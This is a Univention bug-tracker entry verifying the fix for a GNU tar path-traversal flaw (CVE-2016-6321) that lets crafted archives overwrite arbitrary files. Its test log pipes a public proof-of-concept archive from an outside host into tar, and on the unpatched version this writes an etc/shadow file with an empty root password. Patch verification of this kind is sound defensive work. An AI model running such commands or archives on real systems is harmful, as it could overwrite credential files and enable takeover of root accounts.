Univention Bugzilla – Bug 42893
tar: overwrite arbitrary files through crafted files (4.1)
Last modified: 2016-12-01 11:57:30 CET
Upstream Debian package version 1.26+dfsg-0.1+deb7u1 fixes: * A vulnerability has been discovered in the tar package that could allow an attacker to overwrite arbitrary files through crafted files (CVE-2016-6321)
Advisory: tar.yaml
OK: advisory OK: tried POC: root@slave45:~# wget http://updates-test.software-univention.de/4.0/maintained/4.0-0/amd64/tar_1.26+dfsg-0.1.37.201403250428_amd64.deb root@slave45:~# dpkg -l tar ii tar 1.26+dfsg-0.1.37. amd64 root@slave45:~# curl https://sintonen.fi/advisories/tar-poc.tar | tar xv etc/motd tar: Entferne führende „etc/motd/../“ von Elementnamen etc/motd/../etc/shadow root@slave45:~# ls -l etc/ insgesamt 4 -rw------- 1 root root 21 Mär 11 2016 shadow root@slave45:~# cat etc/shadow root::0:0:99999:7::: root@slave45:~# rm -r etc root@slave45:~# univention-upgrade --ignoressh --ignoreterm root@slave45:~# dpkg -l tar ii tar 1.26+dfsg-0.1.38. amd64 root@slave45:~# curl https://sintonen.fi/advisories/tar-poc.tar | tar xv etc/motd tar: Entferne führende „etc/motd/../“ von Elementnamen tar: etc/motd/../etc/shadow: Member name contains '..' tar: Beende mit Fehlerstatus aufgrund vorheriger Fehler root@slave45:~# ls -la etc ls: Zugriff auf etc nicht möglich: Datei oder Verzeichnis nicht gefunden
<http://errata.software-univention.de/ucs/4.1/342.html>